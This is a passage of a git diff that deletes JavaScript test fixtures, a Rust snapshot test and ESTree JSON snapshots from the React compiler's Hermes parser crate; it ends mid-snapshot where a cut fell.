diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useEffect-arg-memoized.js b/compiler/crates/react_hermes_parser/tests/fixtures/useEffect-arg-memoized.js
deleted file mode 100644
index 5af08ec40784..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useEffect-arg-memoized.js
+++ /dev/null
@@ -1,16 +0,0 @@
-function Component(props) {
-  const dispatch = useDispatch();
-  useFreeze(dispatch);
-
-  // onUpdate should be memoized even though it doesn't
-  // flow into the return value
-  const onUpdate = () => {
-    dispatch({ kind: "update" });
-  };
-
-  useEffect(() => {
-    onUpdate();
-  }, [onUpdate]);
-
-  return <div />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useEffect-nested-lambdas.js b/compiler/crates/react_hermes_parser/tests/fixtures/useEffect-nested-lambdas.js
deleted file mode 100644
index 4a1439a287e5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useEffect-nested-lambdas.js
+++ /dev/null
@@ -1,22 +0,0 @@
-function Component(props) {
-  const item = useMutable(props.itemId);
-  const dispatch = useDispatch();
-  useFreeze(dispatch);
-
-  const exit = useCallback(() => {
-    dispatch(createExitAction());
-  }, [dispatch]);
-
-  useEffect(() => {
-    const cleanup = GlobalEventEmitter.addListener("onInput", () => {
-      if (item.value) {
-        exit();
-      }
-    });
-    return () => cleanup.remove();
-  }, [exit, item]);
-
-  maybeMutate(item);
-
-  return <div />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-if-else-multiple-return.js b/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-if-else-multiple-return.js
deleted file mode 100644
index a39f3b2826e4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-if-else-multiple-return.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  const x = useMemo(() => {
-    if (props.cond) {
-      return makeObject(props.a);
-    }
-    return makeObject(props.b);
-  });
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-independently-memoizeable.js b/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-independently-memoizeable.js
deleted file mode 100644
index 4f9f5f39c148..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-independently-memoizeable.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  const [a, b] = useMemo(() => {
-    const items = [];
-    const a = makeObject(props.a);
-    const b = makeObject(props.b);
-    return [a, b];
-  });
-  return [a, b];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-inlining-block-return.js b/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-inlining-block-return.js
deleted file mode 100644
index 8c3d193af1cc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-inlining-block-return.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function component(a, b) {
-  let x = useMemo(() => {
-    if (a) {
-      return { b };
-    }
-  }, [a, b]);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-inverted-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-inverted-if.js
deleted file mode 100644
index 62d00013e980..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-inverted-if.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function Component(props) {
-  const x = useMemo(() => {
-    label: {
-      if (props.cond) {
-        break label;
-      }
-      return props.a;
-    }
-    return props.b;
-  });
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-labeled-statement-unconditional-return.js b/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-labeled-statement-unconditional-return.js
deleted file mode 100644
index a23a7bda64e2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-labeled-statement-unconditional-return.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component(props) {
-  const x = useMemo(() => {
-    label: {
-      return props.value;
-    }
-  });
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-logical.js b/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-logical.js
deleted file mode 100644
index 1bfbd0e3fa0e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-logical.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const x = useMemo(() => props.a && props.b);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-multiple-if-else.js b/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-multiple-if-else.js
deleted file mode 100644
index 24e10f21c9a0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-multiple-if-else.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function Component(props) {
-  const x = useMemo(() => {
-    let y = [];
-    if (props.cond) {
-      y.push(props.a);
-    }
-    if (props.cond2) {
-      return y;
-    }
-    y.push(props.b);
-    return y;
-  });
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-named-function.js b/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-named-function.js
deleted file mode 100644
index 0a9e80fec2df..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-named-function.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const x = useMemo(someHelper, []);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-nested-ifs.js b/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-nested-ifs.js
deleted file mode 100644
index 49b800b42759..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-nested-ifs.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  const x = useMemo(() => {
-    if (props.cond) {
-      if (props.cond) {
-      }
-    }
-  }, [props.cond]);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-return-empty.js b/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-return-empty.js
deleted file mode 100644
index 0d9b54d989bd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-return-empty.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function component(a) {
-  let x = useMemo(() => {
-    mutate(a);
-  }, []);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-simple.js b/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-simple.js
deleted file mode 100644
index a680d099be86..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-simple.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function component(a) {
-  let x = useMemo(() => [a], [a]);
-  return <Foo x={x}></Foo>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-switch-no-fallthrough.js b/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-switch-no-fallthrough.js
deleted file mode 100644
index 74011509fb9e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-switch-no-fallthrough.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function Component(props) {
-  const x = useMemo(() => {
-    switch (props.key) {
-      case "key": {
-        return props.value;
-      }
-      default: {
-        return props.defaultValue;
-      }
-    }
-  });
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-switch-return.js b/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-switch-return.js
deleted file mode 100644
index 59b564d1e942..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/useMemo-switch-return.js
+++ /dev/null
@@ -1,19 +0,0 @@
-function Component(props) {
-  const x = useMemo(() => {
-    let y;
-    switch (props.switch) {
-      case "foo": {
-        return "foo";
-      }
-      case "bar": {
-        y = "bar";
-        break;
-      }
-      default: {
-        y = props.y;
-      }
-    }
-    return y;
-  });
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/while-break.js b/compiler/crates/react_hermes_parser/tests/fixtures/while-break.js
deleted file mode 100644
index 1c1e6f7afb4e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/while-break.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function foo(a, b) {
-  while (a) {
-    break;
-  }
-  return b;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/while-conditional-continue.js b/compiler/crates/react_hermes_parser/tests/fixtures/while-conditional-continue.js
deleted file mode 100644
index ddb816f6a446..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/while-conditional-continue.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function foo(a, b, c, d) {
-  while (a) {
-    if (b) {
-      continue;
-    }
-    c();
-    continue;
-  }
-  d();
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/while-logical.js b/compiler/crates/react_hermes_parser/tests/fixtures/while-logical.js
deleted file mode 100644
index b0c94cb3d0b3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/while-logical.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo(props) {
-  let x = 0;
-  while (x > props.min && x < props.max) {
-    x *= 2;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/while-property.js b/compiler/crates/react_hermes_parser/tests/fixtures/while-property.js
deleted file mode 100644
index 53feb4cb5270..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/while-property.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo(a, b) {
-  let x = 0;
-  while (a.b.c) {
-    x += b;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/parser_test.rs b/compiler/crates/react_hermes_parser/tests/parser_test.rs
deleted file mode 100644
index d2e24d4a0f07..000000000000
--- a/compiler/crates/react_hermes_parser/tests/parser_test.rs
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-use std::env;
-
-use insta::{assert_snapshot, glob};
-use react_estree::SourceType;
-use react_hermes_parser::parse;
-
-#[test]
-fn fixtures() {
-    glob!("fixtures/**.js", |path| {
-        println!("fixture {}", path.to_str().unwrap());
-        let input = std::fs::read_to_string(path).unwrap();
-        let mut ast = parse(&input, path.to_str().unwrap()).unwrap();
-        // TODO: hack to prevent changing lots of fixtures all at once
-        ast.source_type = SourceType::Script;
-        let output = serde_json::to_string_pretty(&ast).unwrap();
-        let output = output.trim();
-        assert_snapshot!(format!("Input:\n{input}\n\nOutput:\n{output}"));
-    });
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-capture-in-method-receiver-and-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-capture-in-method-receiver-and-mutate.js.snap
deleted file mode 100644
index 7340808eb35d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-capture-in-method-receiver-and-mutate.js.snap
+++ /dev/null
@@ -1,288 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/alias-capture-in-method-receiver-and-mutate.js
----
-Input:
-function Component() {
-  // a's mutable range should be the same as x's mutable range,
-  // since a is captured into x (which gets mutated later)
-  let a = someObj();
-
-  let x = [];
-  x.push(a);
-
-  mutate(x);
-  return [x, a];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    152,
-                    153
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "someObj",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      156,
-                      163
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    156,
-                    165
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  152,
-                  165
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              148,
-              166
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    174,
-                    175
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    178,
-                    180
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  174,
-                  180
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              170,
-              181
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    184,
-                    185
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    186,
-                    190
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  184,
-                  190
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    191,
-                    192
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                184,
-                193
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              184,
-              194
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  198,
-                  204
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    205,
-                    206
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                198,
-                207
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              198,
-              208
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    219,
-                    220
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    222,
-                    223
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                218,
-                224
-              ]
-            },
-            "loc": null,
-            "range": [
-              211,
-              225
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          227
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        227
-      ],
-      "loc": null,
-      "range": [
-        0,
-        227
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    227
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-capture-in-method-receiver.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-capture-in-method-receiver.js.snap
deleted file mode 100644
index 57102d4cd753..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-capture-in-method-receiver.js.snap
+++ /dev/null
@@ -1,248 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/alias-capture-in-method-receiver.js
----
-Input:
-function Component() {
-  // a's mutable range should be limited
-  // the following line
-  let a = someObj();
-
-  let x = [];
-  x.push(a);
-
-  return [x, a];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    94,
-                    95
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "someObj",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      98,
-                      105
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    98,
-                    107
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  94,
-                  107
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              90,
-              108
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    116,
-                    117
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    120,
-                    122
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  116,
-                  122
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              112,
-              123
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    126,
-                    127
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    128,
-                    132
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  126,
-                  132
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    133,
-                    134
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                126,
-                135
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              126,
-              136
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    148,
-                    149
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    151,
-                    152
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                147,
-                153
-              ]
-            },
-            "loc": null,
-            "range": [
-              140,
-              154
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          156
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        156
-      ],
-      "loc": null,
-      "range": [
-        0,
-        156
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    156
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-computed-load.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-computed-load.js.snap
deleted file mode 100644
index e6e74700aee7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-computed-load.js.snap
+++ /dev/null
@@ -1,316 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/alias-computed-load.js
----
-Input:
-function component(a) {
-  let x = { a };
-  let y = {};
-
-  y.x = x["a"];
-  mutate(y);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    51,
-                    53
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  53
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              54
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    58,
-                    59
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    60,
-                    61
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  58,
-                  61
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    64,
-                    65
-                  ]
-                },
-                "property": {
-                  "type": "StringLiteral",
-                  "value": "a",
-                  "loc": null,
-                  "range": [
-                    66,
-                    69
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  64,
-                  70
-                ]
-              },
-              "loc": null,
-              "range": [
-                58,
-                70
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              58,
-              71
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  74,
-                  80
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    81,
-                    82
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                74,
-                83
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              74,
-              84
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                94,
-                95
-              ]
-            },
-            "loc": null,
-            "range": [
-              87,
-              96
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          98
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        98
-      ],
-      "loc": null,
-      "range": [
-        0,
-        98
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    98
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-nested-member-path-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-nested-member-path-mutate.js.snap
deleted file mode 100644
index 8f86078ef8dd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@alias-nested-member-path-mutate.js.snap
+++ /dev/null
@@ -1,388 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/alias-nested-member-path-mutate.js
----
-Input:
-function component() {
-  let z = [];
-  let y = {};
-  y.z = z;
-  let x = {};
-  x.y = y;
-  mutate(x.y.z);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    33,
-                    35
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  35
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              36
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    43,
-                    44
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    47,
-                    49
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  43,
-                  49
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              39,
-              50
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    54
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    55,
-                    56
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  53,
-                  56
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "z",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  59,
-                  60
-                ]
-              },
-              "loc": null,
-              "range": [
-                53,
-                60
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              53,
-              61
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    68,
-                    69
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    72,
-                    74
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  68,
-                  74
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              64,
-              75
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    78,
-                    79
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    80,
-                    81
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  78,
-                  81
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "y",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  84,
-                  85
-                ]
-              },
-              "loc": null,
-              "range": [
-                78,
-                85
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              78,
-              86
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
